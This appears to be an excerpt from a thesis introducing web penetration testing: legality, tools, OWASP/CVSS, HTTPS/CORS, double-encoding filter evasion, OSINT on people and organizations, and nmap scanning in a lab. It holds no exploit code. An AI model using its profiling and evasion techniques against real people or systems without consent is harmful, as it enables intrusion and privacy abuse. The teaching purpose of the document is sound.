Cybersecurity can be divided in two types, or as is called among cybersecurity researchersteams. Offensive cybersecurity (or red team) focuses on attacking targets, gaining accessand exploiting vulnerabilities. On the other end, defensive cybersecurity (or blue team)is dedicated to monitoring the services trying to detect any anomalies or possible attacksand protecting the services from them, mitigating attacks when they occur.

In this guide, the two ends will be covered. First, the offensive part will be explained,covering the main traditional procedures and tools. After this, we will explain how tosecure and mitigate these attacks.

5.1 Offensive security

The offensive security, also known as red team, refers to the team that is formed bysecurity experts who try to attack an organization’s cybersecurity defenses using real-world adversary trade craft in an attempt to compromise an organization’s system.

It acts as an adversary, attempting to identify and exploit potential weaknesses within theorganization using sophisticated attack techniques. Members of this team will systemati-cally and rigorously (but ethically) identify an attack path that breaches the organization’ssecurity defense.

If the breach is successful, or, if any possible attack paths are found (and not necessar-ily exploited) a report will be redacted in order to inform the organization. Then theorganization will need to fix all the issues that the red team has found.

5.2 Defensive security

The defensive security, also known as blue team, consists of incident response profes-sionals who provide guidance to the IT security team on where to make improvements to

24

Theoretical basics 25

stop sophisticated types of cyber attacks and threats.

It is also defined by NIST as the group responsible for defending an enterprise’s use ofinformation systems by maintaining its security posture against a group of mock attackers[13].

We can summarize that the job of a blue team member is to analyze the current securityposture of an organization and take measures to address flaws and vulnerabilities. Typi-cally they also monitor for breaches and new vulnerabilities on the organization’s systemsresponding to them as soon as they are found.

5.3 Legality of penetration tests

In almost all jurisdictions, penetration tests are considered illegal if there is no consentfor the targeted part. A penetration test means that the testers are trying to bypassthe security systems of a company to gain access to their infrastructure. So if this isdetected by the organization security systems, and there was no authorization, they canstart investigating and take legal actions against the attacker.

Penetration testing may affect system performance, and can raise confidentiality andintegrity issues; therefore, this is very important, even in an internal penetration testing,which is performed by an internal staff to get permission in writing. There should be awritten agreement between a tester and the company/organization/individual to clarifyall the points regarding the data security, disclosure, etc. before commencing testing.

A statement of intent should be drawn up and duly signed by both the parties prior toany testing work. It should be clearly outlined what is the scope of the job.

5.4 The web

About twenty years ago, the Web was very simple: a brand-new, unknown by most,mechanism that allowed students, teachers, researchers, and also hobbyists, to visit eachother’s pages dedicated to science (for the most part) and personal subjects such as verbalcreation or tutorials. Today, it is the foundation of many complex, interactive applications(from mail clients to banking applications) that accumulates hundreds of millions of casualusers around the globe.

It is also an essential tool for commerce, important enough to be credited for causinga recession when the 1999 to 2001 dot-com bubble burst [14]. This progression fromabstruseness to ubiquity was surprisingly fast, even by the standards we are accustomedto in today’s information age, and its speed of ascent brought with it an unexpectedproblem.

The design flaws and implementation defects of the World Wide Web are those of a


technology that never aimed to its current condition and never had a chance to pauseand look back at previous mistakes. The resulting issues have quickly emerged as someof the most significant and prevalent threats to data security today. The protocol designstandards one would apply to a black-on-white home page for a personal blog are not thesame for an online shop that processes millions of credit card transactions every year.

This means that, as the web gets more relevant to our everyday life over the years, weare also becoming less secure if we don’t take the correct steps. Web apps and websitesin general need to be secure according to their criticality level. A bank site where youcan administrate your account and your money needs to be very secure, while a blog sitedoes not need such security level. This is achieved by auditing all the services that areexposed to the internet and trying to find any vulnerabilities before any malicious actordoes.

5.4.1 Web technologies

It is beyond the scope of this project to provide a more detailed overview of all thetechnologies that form the web, we’ll summarize only some of the most important conceptsand technologies involved in the modern web.

The first and most important concept of the web is the Uniform Resource Locator(URL). When you see a URL, you know you are visiting a website when clicking on it.Each well-formed, fully qualified URL is meant to conclusively address and uniquelyidentify a single resource on a remote server. The URL is the most important, and thefirst user interface security indicator in every browser.

Figure 5.1: Structure of a URL.

The next essential concept is the Hypertext Transfer Protocol (HTTP) which isthe transfer mechanism of the web and the preferred method for exchanging resourcesbetween servers and clients.

HTTP is fairly simple. A text-based protocol built on top of the TCP/IP stack. EveryHTTP session is initiated by establishing a TCP connection to the server, typically


to port 80, and then issuing a request that outlines the requested URL. In response, theserver returns the requested file and, in the most simple use case, tears down the TCPconnection immediately thereafter. First versions of this protocol were very simple andlimited, over the years this protocol has improved to an extent that allowed us to evolvethe web to what we know now. One example of these improvements were the headersadded in HTTP/1.0 where the web browsers and clients could share more informationabout the content that is being transferred.

As the Web matured through the 1990s, website developers increasingly needed a consis-tent and flexible way to control the appearance of HTML documents; the collection ofvendor-specific tag parameters available at the time simply would not do. After reviewingseveral competing proposals, W3C eventually settled on Cascading Style Sheets(CSS), afairly simple text-based page appearance description language proposed by Håkon WiumLie.

Years later, in a 1995 press release, JavaScript was introduced and was immediately tied toan impressive range of commercial products from the hand of Brendan, Sun and Netscape[15]. This assured the adoption of JavaScript.

Netscape and Sun Announce JavaScript, the Open, Cross-Platform ObjectScripting Language for Enterprise Networks and the Internet.[ . . . ]Netscape Navigator Gold 2.0 enables developers to create and edit JavaScriptscripts, while Netscape LiveWire enables JavaScript pro-grams to be installed,run and managed on Netscape servers, both within the enterprise and acrossthe Internet. Netscape LiveWire Pro adds support for JavaScript connec-tivity to high-performance relational databases from Illustra, Informix, Mi-crosoft, Oracle and Sybase. Java and JavaScript support are being built intoall Netscape products to provide a unified, front-to-back, client/server/toolenvironment for building and deploying live online applications.

Figure 5.2: Snippet of the Netscape’s JavaScript announcement.

JavaScript is a simple language meant to be interpreted at runtime. It allows developersto add scripts that interact with the web content.

All HTML documents displayed in a browser are given a separate instance of the JavaScriptexecution environment, with an individual namespace for all their global variables andfunctions. All scripts executing in the context of a particular document share this commonsandbox and can also interact with other contexts through browser-supplied APIs.

Each code block must consist of any number of self-contained, well-formed syntax unitsand will be processed in three distinct, consequent steps: parsing, function resolution,and code execution.


5.4.2 Web servers

All content from the Internet needs to be served from a host, a computer that stores suchcontent and serves it to the world. There are a lot of distinct ways that content can beserved to the internet: a peer-to-peer network, a server, a federated network, etc.

We will be looking at the most common schema of the internet: the server-clientparadigm. The client requests a resource from a server, which serves such content.

Figure 5.3: Server-client schema.

Web servers are combinations of software and hardware (computers) that store and delivercontent to a web browser at a basic level. These servers can understand protocols suchas HTTP or SMTP (Simple Mail Transfer Protocol).

Web servers receive requests from a client through a URL as seen in section 5.4.1. ThisURL is mapped to a local resource on the server that will be served to the client thatmade the request.

5.4.3 Web applications and services

Thanks to the evolution of the web technologies that we described, developers can nowbuild applications and complex services on the web. It is now the home of applicationsfor services such as banking, movie streaming, password managing and many more.

There are also a very high number of technologies that can be used to build such servicesand web applications, and every year we see new technologies appear. This means thatthere can be a lot of attack vectors for as many technologies as are used to build a site.

5.5 Security on the web

Why web security is important, why it should be regularly audited, what are the proce-dures, tools and common operating systems to do so.


5.6 Penetration testing

When we want to assess the security of a website, we need to perform what is called apenetration test. This is the act of trying to penetrate into the server that hosts a resourceor to gain control of what it serves.

This means that the auditor (or a malicious actor) will try to exploit any security flawsfound in the technologies that are built into the server, the service, or the web application.

To perform such tests, the auditor can use many tools and methods that will help to gainaccess or control of the server or resource. In this section, we will have an overview ofsuch tools and methods.

5.6.1 Operating systems

Any operating system can be used to perform a penetration test, but there are systemsthat are built to perform such tests. Many of the applications, scripts, and tools are builtto be run on GNU/Linux systems, this is the reason Windows is not a common operatingsystem among penetration testers.

GNU/Linux is a very versatile system and, as it is free software, developers can builddistributions of that system that are suited to their needs.

When looking at GNU/Linux distributions that are oriented to penetration testers, thereis one that will always show up: Kali Linux [4].

In the last years, another GNU/Linux distribution has been gaining attention in thepenetration testing space, ParrotOS [5]. In this section, we will be comparing anddeciding which of these two operating systems we will be using in our laboratory.

Kali

Kali is an open-source, Debian-based GNU/Linux distribution geared towards variousinformation security tasks, such as Penetration Testing, Security Research, ComputerForensics and Reverse Engineering.

It is funded and maintained by Offensive Security, an information training company.

Kali is not a lightweight distribution, as it comes with over 600 tools that work out of thebox. It is frequently updated and well maintained.

A good point about Kali is the big and strong community of users behind it, making it agood choice as it will be easy to find support on the internet.


ParrotOS

Parrot Security is a GNU/Linux distribution based on Debian and designed with Securityand Privacy in mind. It includes a full portable laboratory for all kinds of cybersecurityoperations, from pentesting to digital forensics and reverse engineering, but it also includeseverything needed to develop your own software or keep your data secure.

It is a more lightweight distribution than Kali and also comes with a lot of tools prein-stalled and many tools that can be easily installed if needed. It is frequently updated,too.

ParrotOS has a partner with HackTheBox [16], a platform that offers vulnerable machines,so anyone can try to perform a penetration testing. In this project, we will be usingHackTheBox, so it is a very good point for ParrotOS.

Although ParrotOS is a relatively new project when compared to Kali, it has gathereda good community, so it should not be difficult to find support. Also, like Kali, it is aGNU/Linux distribution based on Debian, so the same support should work for each ofthe two operating systems.

Conclusions

The true indication of a great penetration testing distribution is the selection of usefuland relevant features that it offers to security professionals.

On the other hand, the computer that we will be using is not very powerful. This makesParrotOS more attractive for being a more lightweight distribution.

When looking at the set of available tools, the same tools can be used on both systems.Kali comes with everything preinstalled and ParrotOS may need some installations, butthis is not a problem.

The final point is that ParrotOS has integration with HackTheBox [17]. This is very goodas we will be using HackTheBox for our lab environments.

The final decision, for the said reasons, will be ParrotOS.

5.6.2 Tools

Many tools will be used when performing a penetration test, so it is not possible to defineall the tools in a list. In the next sections, the most common tools will be described, butthis does not limit the usage of other tools.

Basic system commands and tools

GNU/Linux systems come with a handful of tools that will be used for simplyfing sometasks.


• grep - Helps to search text files for occurrences of a given regular expression andoutputs any line containing a match to the standard output.

• sed - A powerful stream editor. It is a very complex tool but, in a high level, sedperforms text editing on a stream. For example, replace words or strip charactersfrom a text stream created with the command echo.

• awk - A programming language designed for text processing. It is typically used asa data extraction tool. It can perform very complex tasks. One commonly use ofawk is the field separation and the print command:

echo "hello::everyone::here" | awk -F "::" ‘print $1 $3’

The command above pipes a stream of text to awk, and we extract the first ($1)and third ($3) fields using :: as field separator.

• nano and vim - Command line text editors. vim will be the editor of choice. Itcomes very handy when having to edit text from the command line. An improvedfork called neovim [18] will be used.

• diff and vimdiff - These commands are used to detect differences between files.Vimdiff opens several files in different vim windows and highlights the differencesbetween files.

• wget and curl - These commands allow the download of files using HTTP/HTTPSand FTP protocols. curl command supports some more protocols such as IMAP,POP, SCP, SFTP, SMB, TELNET. . . A penetration tester can use these to down-load or upload files and build complex requests.

These three commands combined are very useful when analyzing outputs from scans orlog files, or making requests and queries.

Practical Tools

• DIRB [19] is a web content scanner. It uses a defined word list to find directories,pages, and files by issuing requests to the server. It can be customized to searchfor specific directories, use custom dictionaries, set custom headers on each request,and more.

An interesting alternative to this tool is DirBuster [20], a Java application thatoffers a GUI interface (DIRB is CLI only) and multi-threading.

• Burp Suite [21] is a proprietary tool with a GUI-based interface that is a collectionof tools geared towards web application security testing. It is considered the bestpiece of software of its kind. The Community Edition (free, but not as in freedom)has all the basic features and tools to perform a manual testing.

For this thesis, free (as in freedom) and open source tools are preferred. There exists


several Burp Suite alternatives that fulfill the preferences, and we will be testingthem to see if they can compete with it. These alternatives are OWASP Zap [22]and Hetty [23].

One of the main features of Burp Suite is the interception of requests, it allowsintercepting and modify requests to and from a web server. This is done using theProxy tool.

• Nikto [24] is an Open Source tool that scans web servers and test thousands ofdangerous files and programs, vulnerable server versions and server configurationissues. It is not a “stealthy” tool as it sends a lot of requests to the server and fromthe server you can notice that it is Nikto that is scanning.

Nikto is specially good for finding typical and easy vulnerabilities, reporting non-standard server headers and finding server configuration errors.

5.6.3 Scripting

Scripting is a very important part of most penetration tests. It allows the tester toautomatize some procedures and avoid doing them manually.

The most common scripting languages among penetration testers are bash and python.These are famous for their simplicity and the broad range of possibilities that they offer.

For example, in a situation where the tester needs to perform a nmap of a broad rangeof hosts and ports, and then process the output to list directories with dirb and savein a text file those which respond to the GET request with a 200 OK, one could writea simple script that performs this operation automatically. This will also save time infuture occasions where the same operation needs to be repeated.

In this thesis, bash and python scripts will be developed as tools to improve the efficiencyof the penetration test.

5.7 Methodologies

In order to classify the risk grade associated with a vulnerability and to provide a list ofchecks needed to perform during a penetration testing, there exist two famous standards.

Using a standard allows anyone (and anyone that may come in the future) to easilyunderstand how the vulnerabilities of an assessment were classified and checked. If we usea self-developed method, anyone looking at the report will need to learn this new methodand trust that it is well done.


5.7.1 OWASP Top 10

Attackers may use different ways to harm and attack a business or cause trouble to theirtarget organization. Every one of the paths that can be followed represents a potentialrisk that could affect the business more or less seriously.

Figure 5.4: Attack paths. Source: owasp.org

The OWASP methodology illustrates all the checks and tests that are required to do on aweb application or infrastructure in order to test its security from all points of view. Thedocument has a total of 91 tests divided in 11 categories:

• Configuration and Deployment Management Testing

• Identity Management Testing

• Authentication Testing

• Authorization Testing

• Session Management Testing

• Input Validation Testing

• Error Handling

• Cryptography

• Business Logic Testing

• Client Side Testing

All the vulnerabilities are classified in 10 categories: the OWASP Top 10 [25]. A moredetailed information about the OWASP Top 10 can be found in appendix A.1.

To successfully carry out all the checks defined in the OWASP Top 10 methodology,we will be using the OWASP Web Security Testing Guide (WSTG) [26]. The WSTGdescribes in detail both the general testing methodology and the techniques required toimplement the methodology in practice.


5.7.2 CVSSv3

The difficulty of finding one of the paths and following them successfully until the endis what makes a vulnerability more or less severe. The criticality of the vulnerabilities iscalculated using the CVSS 3.0 (or 3.1) standard. CVSS stands for Common VulnerabilityScoring System.

The Common Vulnerability Scoring System is an open framework for communicating thecharacteristics and severity of software vulnerabilities. CVSS is owned and managedby FIRST.Org, Inc. (FIRST), a US-based non-profit organization. CVSS consists ofthree metric groups: Base, Temporal, and Environmental. The Base group represents theintrinsic qualities of a vulnerability that are constant over time and across user envi-ronments, the Temporal group reflects the characteristics of a vulnerability that changeover time, and the Environmental group represents the characteristics of a vulnerabilitythat are unique to a user’s environment [27].

The criticality of a vulnerability is inversely proportional to the ease of finding suchvulnerability and the ease of exploiting it. A vulnerability that is easy to find and exploitwill have a high associated risk level. On the other hand, if a vulnerability is difficult toexploit this will reduce its risk and thus the system will be more secure.

A CVSS score is commonly represented as a vector string, a compressed textual represen-tation of the values used to derive the score. All the official specification for this systemcan be found in the Specification Document [27]. In the appendix A.2, we will brieflyexplain how these strings will be read and calculated.

For the purpose of this thesis, and what is commonly used when creating the reports, wewill be using an online CVSS calculator. First, the foundation in charge of CVSS, offersan official calculator for this purpose [28].

6 | Common Security Protocols

The web has evolved since its inception 40 years back. Nowadays, the internet is ev-erywhere, and almost every person uses it in some or another way. This means that itis also a much more attractive target for bad actors than it was 40 years ago. Now weadministrate our bank accounts, our private mails and messages, photos and documents.

The internet was not designed with security in mind, and developers have been patchingall the security flaws as they were found and/or exploited.

In this chapter, we will briefly overview some of the protocols that make the “secure”internet that we have in these modern times.

6.1 HTTPS

HTTPS is the secure version of HTTP, which we introduced in section 5.4.1. HTTPSstands for Hypertext transfer protocol secure, and the communication encrypted in orderto increase security of data transfer. The protocol is described in [29] and makes use ofthe port 443.

HTTPS uses an encryption protocol to encrypt communications. The protocol is calledTransport Layer Security (TLS), although formerly it was known as Secure SocketsLayer (SSL) which will be described in the next section. The protocol is also known asHTTP over TLS.

So HTTPS brings:

• Confidentiality: HTTP was originally designed as a clear text protocol. Thismeans it is vulnerable to eavesdropping and man in the middle attacks, where amalicious actor could intercept the traffic and read all the communication. Byincluding SSL/TLS encryption, HTTPS prevents data sent over the internet frombeing intercepted and read by a third party. The data can be intercepted, but isnow symmetrically encrypted.

• Authentication: HTTPS includes robust authentication via the SSL/TLS pro-tocol. A website’s SSL/TLS certificate includes a public key that a web browsercan use to confirm that documents sent by the server (such as HTML pages) have

35

Common Security Protocols 36

been digitally signed by the owner of the corresponding private key. Also, if thecertificate has been signed by a publicly trusted certificate authority (CA), thebrowser will accept that any identifying information included in the certificate hasbeen validated by a trusted third party.

• Integrity: Every document served to a browser by an HTTPS web server includes adigital signature that can be used by the web browser to determine if the documenthas been altered by a third party or otherwise corrupted while in transit. The servercalculates a cryptographic hash of the contents that serves included with its digitalcertificate, and the browser can independently calculate that hash to prove that thedocument has not been tampered with.

6.2 SSL and TLS

Transport Layer Security (TLS) is the successor of the deprecated Secure SocketsLayer (SSL). It is a cryptographic protocol that was designed to provide security to thecommunications over a computer network, usually the internet.

The TLS protocol is aimed to providing confidentiality, integrity, and authenticitymaking use of certificates. A website’s SSL/TLS certificate, which is shared publicly,contains the public key, and the private key is installed on the origin server, owned by thewebsite. These digital certificates certify that the public key being used actually belongsto the web server. This allows anyone to rely on the data provided by the private keythat corresponds to the certified public key.

TLS typically relies on a set of trusted third-party certificate authorities to establishthe authenticity of certificates, these are the so-called Certificate Authorities [30].

6.3 Cross-origin resource sharing

The cross-origin resource sharing (CORS) policy allows cross-domain HTTP data ex-change, which means a page running at origin A can send/receive data from a serverat origin B. CORS is abundantly used in web applications where web fonts, CSS, docu-ments, and so on are loaded from different origins, which may not be of the origin wherethe resources are actually stored. Most content delivery networks (CDNs) whichprovide resource-hosting functionality typically allow any website or origin to interactwith themselves.

CORS works by adding a new HTTP header that allows the web server to speak up alist of whitelisted domains that are allowed to connect and interact with the server. Thisthing is also browser enforced; the browser reads the header and processes accordingly.

Modern browsers use pre-flight requests. A pre-flight request is just a normal HTTP


request that happens before the actual cross-domain communication. The logic behindthis is to ensure the client and server are fully compatible (protocol, security, and so on)with each other before the data is actually exchanged. If they are not, then the relevanterror is raised.

When pre-flight requests are not possible, simple CORS requests are used. These aresimilar to pre-flight requests without the initial capability exchange sequence occurring.This means that, the browser will know if the connection is possible only after makingthe request.

Common CORS headers

There exist a variety of CORS headers, but the most importants are:

• Access-Control-Allow-Origin: This is a response header; as soon as a requestis made to the server for exchanging data, the server responds with a header thattells the browser whether the origin of the request is listed inside the value of thisresponse. If the header is not present or the response header does not contain therequest origin inside the header, then the request is dropped and a security error israised.

• Access-Control-Allow-Methods: This is another response header; the serverresponds with this header and instructs the browser to check for allowed HTTPmethods mentioned inside it. If the server only allows GET and a POST request isinitiated then it will be dropped if not mentioned in this list.

• Origin: This is a request header which tells the server from which domain originthe request was attempted. The origin header is always sent alongside cross-domainrequests.

6.4 URL encoding

URL encoding is a way in which certain characters are encoded or substituted by %followed by the hexadecimal equivalent of the character. Developers often use encodingbecause there are certain cases when an intended character or representation is sent tothe server but when received, the character changes or gets misinterpreted because oftransport issues.For example, < is represented as %3c in percent encoding format.

This is a security feature as it avoids the server to process the parameters as plain text,reducing the possibility of a code injection and cross site scripting (XSS) if done in theright way.

URL encoding is done typically on URI characters that are defined in RFC 3986. TheRFC mentions that the characters must be separated into two different sets: reservedcharacters and unreserved characters [31]. Reserved characters have special meanings in


the context of URLs and must be encoded into another form, which is the percent-encodedform, to avoid any sort of ambiguity. A classic example of such ambiguity can be /, whichis used to separate paths in a URL, so if the necessity arises to transmit the / characterin a URL then we must encode it accordingly, so that the receiver or parser of the URLdoes not get confused and parse the URL incorrectly. Therefore, in that case / is encodedinto %2F, this will be decoded into / by the URL parser.

Double encoding

Double percent encoding is the same as percent encoding, with a twist that each characteris encoded twice instead of once. This technique is commonly used when attempting toevade filters which attempt to blacklist certain encoded characters, so we can doubleencode instead and let the filter decode to the original form. This technique only workswhere recursive decoding is done.

In percent encoding, if we had %3C as our percent-encoded character, then it gets decodedinto <. In double encoding, the percent-encoded character is again encoded, which meansthat the % prefixed hex-character gets encoded again to %25 plus the hex-character of theoriginal character. So when encoding < using double encoding, we should first encodeit into its percent-encoded format, which is %3c and then again percent encode the %character. The result of this will be %253c. Normally, this should be decoded only once,but there are scenarios where the developer makes the mistake of decoding it multipletimes or situations in which this happens by design. This effectively results in bypassesof some filters.

7 | Information gathering

The process by which we obtain our first information about our target is the informationgathering phase. During this phase, we will be collecting as much as possible informationas we can find publicly on the internet or, physically, anywhere we can.

An information gathering campaign can generate a lot of data, and it’s important thatwe manage that data well so that we can leverage it in further searches or use it in a laterphase. In order to find it easier to retrieve information later on, we need to make sure wekeep detailed and well formatted notes. For this, we will be using an Open Source,self-hosted notes tool: Joplin [32]. Joplin allows us to organize our notes in notebooksand provides a full-text search feature. Markdown can be used to format the text. thenotes can be end-to-end encrypted for enhanced security and synchronized across anydevices.

7.1 OSINT: Open Source Intelligence

Open Source Intelligence is the process of collecting openly available information abouta target, generally without any or minimal direct interaction with that target. For this,it is also known as passive information gathering.

There are a variety of resources and tools we can use to gather this information thatwill be presented in this section. The process is cyclical rather than linear. The “nextstep” depends on what we find during the previous steps. Since each tool or resource cangenerate any number of varied results, it can be hard to define a standardized process.

When defining passive information gathering, we can define two visions:

• Strict. We may never interact in any way with the target. We only rely on third-party sources. The target’s systems and servers are never accessed.

• Loose. We may interact with the target, but just as a regular user would. Forexample, if we can complete a form or register an account on the target’s site, wemay do that. However, vulnerabilities will not be tested.

For the purpose of this thesis and for personal preference, we will be adopting the second:Loose OSINT. Although there isn’t any specific methodology to follow, we can define

39

Information gathering 40

some steps that can be helpful when carrying out passive information gathering process:

7.1.1 Browsing the site

If the client has a website, we can gather basic information by simply browsing thesite. Small organizations may only have a single website, while large organizations mighthave many, including some that are not maintained.

Information like what the organization is dedicated to, the location, emails, partners,addresses may be found in a corporate website.

Some companies have a team section where they link the social accounts of their em-ployees. This can also be some valuable information. An illustrative example is thePhotoprism’s 1 webpage [33].

Figure 7.1: “Team” section of Photoprism’s [33] website. In red underline, the relevantinformation.

Usually websites have an about section where we may find some mails, phones or direc-tions. We could pay special attention if the corporative mails are following any pattern(i.e. [email protected]). Sometimes persons with higher charges,such as CEO, may have different mail formats (i.e. [email protected]). Thiscould also be valuable information.

7.1.2 Whois database

Whois is a TCP-based query/response protocol widely used to provide information aboutinternet services to users [34]. It is used for querying databases that store the registered

1Photoprism is an open source and self-hosted replacement for Google Photos.


users or assignees of an Internet resource, such as a domain name, an IP address block oran autonomous system.

We can retrieve information about a domain name, such as the name server and registrar:

Figure 7.2: Whois information about the domain ithinkupc.com on who.is service.

Note on whois privacy: In the later years, whois privacy services appeared.Domain name registrars services where a user buys privacy from the company,who in turn replaces the user’s information in the whois with the informationof a forwarding service.

7.1.3 Name Server Lookups

Name server lookup tools (i.e. nslookup) are tools that allow us to get the Name Serverrecords of any domain in the Domain Name Servers (DNS). Whenever a browser sends aDNS request to a DNS server, it sends back the nameserver records, and the name serversare then used to get the real IP address behind a domain name.

This way, we can obtain the IP of the server hosting the service or website.

Figure 7.3: Result of a nslookup against ithinkupc.com


7.1.4 Using search engines

Some search engines (i.e. Brave Search2, SearX, Google, DuckDuckGo...) allow users topower up their search using the search strings and operators. When done right, this helpsto sift out irrelevant or uninteresting results.

The site operator limits searches to a single domain. One can limit the search to a certaindomain using site:example.com showing only the results where the domain matchesexample.com.

Figure 7.4: Results found using the site operator.

Another operator that can be used is the filetype, this way we can limit the search tothe specified file type (i.e. filetype:csv).

The same operators can also be used in a negative form, for example using -filetype:htmlwould filter out all the results with HTML extension.

Another interesting operator is intitle. This way we can filter the pages with certaincontents in the title or the description:

2Brave Search will be used all along thesis.


Figure 7.5: Results found using the intitle operator.

Making use of all the available operators [35] we can make powerful searches with mean-ingful results for our investigation. To further improve the knowledge on how to use themor get new ideas, we can use the Google Hacking Database [36], a database that containsa big number of searches using these operators and where we can learn about how to usethem in a right way.

7.1.5 Social Networks

If our target is a physical person on an organization in order to enter their systemsand, from there, escalate, social networks are usually very powerful. People tend to posta lot of information about themselves on their social networks, most times they do itunconsciously and many times their profiles are open to the public.

For example, we could review the photos of a certain Instagram [37] profile to find if thereis any pattern on the locations of the photos. This way, one could trace an area wherethe person normally frequents. We could also list the likes, dislikes, ideology, politicalpreferences, friendships and anything we can find. With this information, it is easier tobuild a dictionary to brute force a password.


Figure 7.6: Results using filename operator in GitHub.

As seen in figure 7.6, we can filter all the files containing certain words in the filenameusing the filename operator.

7.1.6 Open Source Repositories

Some organizations have some of their repositories open sourced. Sometimes, developersmistakenly push code to the repositories that can contain usernames or passwords thatwere being used in a development environment. Searching on the repositories they mayhave on platforms like GitHub [38] or GitLab [39] can give us some interesting results.

7.1.7 Other tools

Almost every information we can find on the internet could end as a valuable informationduring an OSINT campaign, this is why the number of tools we can use for gathering


such information can not be described in this list.

For now we have covered the most used and common methods for an OSINT campaign,these methods are a must. In this last section we will briefly describe some other toolsthat can be very useful for these kind of procedures.

• Netcraft. A web service offering various information gathering services. One com-mon use is the searchDNS [40] service. We can use it, for example, to find multiplesub-domains for a domain.

Figure 7.7: Results of using searchDNS against ithinkupc.com domain.

Each of the found sub-domains has an attached report which will provide us moreinformation about it such as the technology being used (i.e. Apache, JQuery, etc.)and more.

• Shodan [41]. It is a search engine but for devices with public IPs such as web-servers, routers and IoT devices. Instead of searching content, it searches connected(to the internet) devices. It is a freemium3 service and we will need to register anaccount to use the basic features.

3Offering basic services for free while charging a premium for advanced or special features.


Figure 7.8: Results searching upc.edu domain on Shodan.

This information gives us an idea of our target’s Internet presence. We can see thereare 183 servers running with SSH port4 open, and we can get more information aboutthis, so we can refine our results, clicking the 22 under “Ports” section.

• Pastebin [42]. It is a website designed to share plain text. It is very simple to use,for this reason it is a popular site and many people use it. Also, there is no needfor an account to use it.

As almost all pastes5 are public, for this reason, sometimes we can find databasesdumps, API tokens, passwords, and more.

Some years ago, Pastebin removed the search feature on their site [43]. If we wantto find information there, we need to use online tools or search engine operators (i.e.the site operator explained in 7.1.4.

• theHarvester. If we need to gather information about users, it is a good startpoint to make use of theHarvester [44]. It gathers emails, names, subdomains, IPs,and URLs from multiple public data sources.

This is a command-line tool that is available on Kali Linux and Parrot OS, orthat we can install on any GNU/Linux distribution.

4The port dedicated to SSH is the port 22.5Paste is how an entry on Pastebin is called.


Figure 7.9: Results running theHarvester on upc.edu domain.

We were able to found some email addresses related to “@upc.edu”, it also showssome host-names below. Sometimes, we will need to find information about usersand through them, information about the target organization.

• Word-lists generators. It is very useful to have word-lists based on informationfrom various sources even if our target is not a user and it’s an organization.

Whenever we are faced with an Authentication Mechanism, we can try to workaround it but if that is not possible then the we will need to try some well-knowncredentials into the Authentication Mechanism to try and guess6. This list of wellknow credentials is a word-list. [46]

Two well-known tools for this purpose are:

– Twofi, a tool that scans a user’s feed on Twitter [47] and generates a word-listfrom their shared content. This is more useful on individuals, but it can alsohelp generating word-lists for organizations that have an account on the socialnetwork.

6This is what is called brute-force attack [45]


– linkedin2username, a script that generates username lists based on datafound in the target’s LinkedIn profile. It requires to use valid LinkedIn creden-tials and you need to connect7 with users in the target organization.

• Frameworks. There are some frameworks that gather a large ammount of toolsthat can be used for many different OSINT tasks. We will be using the OSINTFramework [48]. It is a conceptual map in the form of a tree graph. It is not achecklist that must be completed but a resource worth reviewing as it may give ussome ideas for additional sources and tools.

Figure 7.10: OSINT Framework.

7.1.8 Conclusions

The task of passive information gathering has an almost infinite number of paths wecan take. Depending on our target and the king of target (individual, organization, etc.)we may face different challenges, and we will need to find the suited tools and methodsto be able to gather as much information as we can.

In this part, we summarized a small set of very useful tools for this task, but it is obviouslynot limited to it. We can use as many tools as we can think of, and with imaginationalmost everything can be a source of information.

7Term used in linkedin refering to the action of adding a user to your contacts.


7.2 Active information gathering

After the passive information gathering phase, an active phase requiring direct inter-action with the target’s services will start. In this section, we will overview the fundamen-tals of an active information gathering phase, keeping in mind that, as with passiveinformation gathering, the possibilities are limited by our imagination and knowledge.We will be focusing in port scanning with nmap, although we could further develop onthis topic as much as we wanted to.

Also note that this phase objective is to gather information about the target, we won’tstill be trying to attack their systems.

7.2.1 Port Scanning

Port scanning consists on the inspection of TCP or UDP ports on a target machine withthe objective of detecting which services are running and what potential attack vectorsexist that are associated to them.

It is important that scanning ports without taking the correct measures can impact thetarget systems and could, in the worst scenario, result in downtime for the customer.For this reason, it is very important that we follow the correct methodology whendoing such tasks. If done right we can be more efficient, stealthy and reduce therisks of downtime or affecting the target’s machines.

First, it is a good idea to define a scope of the ports we have most interest in. Forexample, we could typically start scanning the 808 and 4439. We need to start with a listof possible web servers that could be provided by the customer or obtained via passiveinformation gathering.

Note on UPD scanning

In TCP, we send a TCP SYN packet, a SYN-ACK packet will be received, and thenthe handshake is completed with an I. If this process is successful, the port is consideredopen.

The scanning of UDP ports, since UDP is stateless [49] and does not involve a three-wayhandshake [50], differs from the TPC method. We start by sending an empty UPD packetto a specific port, if the port is open the packet will be passed to the application layer,and we may receive a response (depending on how the application was made we couldalso not receive a response). In the case the port was closed, the target would respondwith a ICMP port unreachable, from which we could infer the status of the port.

8Port for HTTP.9Port for HTTPS. See 6.1


For this reason, the scanning of UDP ports is often considered to be unreliable. A routeror a firewall could be dropping ICMP packets leading to false positives. We could beseeing open ports which are, in fact, closed.

7.2.2 Nmap

Nmap [51] is the most popular tool for pentesters. It is a port scanning tool with overa decade of development and with many available features.

In the next examples, the tests are thrown against a virtual lab machine running UbuntuServer 20.04 LTS [52] on VirtualBox [53] that was set up to provide examples for thispart. To understand why we remark this, refer to Note on legality, the next 7.2.2 section.

First, we will be illustrating the amount of traffic sent by a default nmap command tounderstand why we need to refine it and adapt it to our needs.

Figure 7.11: IPTables configuration.

With the -I option on iptables, we insert a new rule to the table. We are accepting allthe incoming (INPUT) from a (-s) source address, in this case, our Parrot OS machine.And on the other hand, the outgoing (OUTPUT) traffic to a (-d) destination address.Finally, the -Z option, sets all counters to 0.

Now, from our ParrotOS machine, we will throw a nmap against the Ubuntu Server.


Figure 7.12: Result of the nmap.

The default nmap tests for the 1000 most common ports, now if we want to see how muchtraffic this generated:

Figure 7.13: Traffic generated by the nmap.

In a 53-second-long scan of 1000 ports, around 13 Kilobytes were received by the targetmachine. This is a relatively high amount of traffic in a short period of time witha high-frequency of connection requests. This kind of scanning would sound thealarms of any monitoring system. We made the same test for all the ports of a machine,65535, and it generated 4 MB in 2 minutes. Note that we are only scanning a singlemachine, if we were to do this for 100 hosts, for example, we would be generating around500 MB.

Note on legality

We already talked about the legality of penetration test in section 5.3, but it is alsointeresting to take a moment to note the legality of port scanning in particular as it may


seem like an innocuous act with no legal consequences at a glance.

